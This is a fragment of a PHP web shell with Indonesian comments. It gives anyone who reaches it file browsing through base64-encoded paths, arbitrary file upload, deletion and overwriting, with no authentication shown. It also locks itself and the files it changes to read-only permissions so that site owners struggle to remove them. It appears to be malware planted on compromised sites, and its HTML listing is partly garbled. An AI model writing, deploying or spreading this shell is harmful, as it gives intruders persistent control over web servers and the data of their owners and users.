/dev/null"); clearstatcache(true, $path); return true; } // Auto Protect Self $current_file = __FILE__; if ((@fileperms($current_file) & 0777) != 0444) { @chmod($current_file, 0444); } // Penentuan Path $root = str_replace('\\', '/', getcwd()); $peta = (isset($_GET['peta'])) ? base64_decode($_GET['peta']) : $root; $peta = str_replace('\\', '/', $peta); // Aksi: Masukan Baru (Upload) if (isset($_POST['aksi']) && $_POST['aksi'] == 'masukan') { $target = $peta . '/' . $_FILES['muatan']['name']; if (move_uploaded_file($_FILES['muatan']['tmp_name'], $target)) { force_0444($target); } } // Aksi: Buang (Hapus) if (isset($_GET['aksi']) && $_GET['aksi'] == 'buang') { $target = base64_decode($_GET['target']); is_dir($target) ? rmdir($target) : unlink($target); header("Location: ?peta=" . base64_encode($peta)); exit; } // Aksi: Simpan Perubahan (Edit) if (isset($_POST['aksi']) && $_POST['aksi'] == 'simpan') { $f_target = base64_decode($_POST['target']); $handle = fopen($f_target, "w"); fwrite($handle, $_POST['konten']); fclose($handle); force_0444($f_target); } ?>
| Nama Barang | Izin | Opsi | " . ($is_dir ? "📁 $item" : "📄 $item") . " | "; echo "$perms | "; echo ""; if (!$is_dir) { echo "Ubah | "; } echo "Sampah"; echo " | "; } ?>
|---|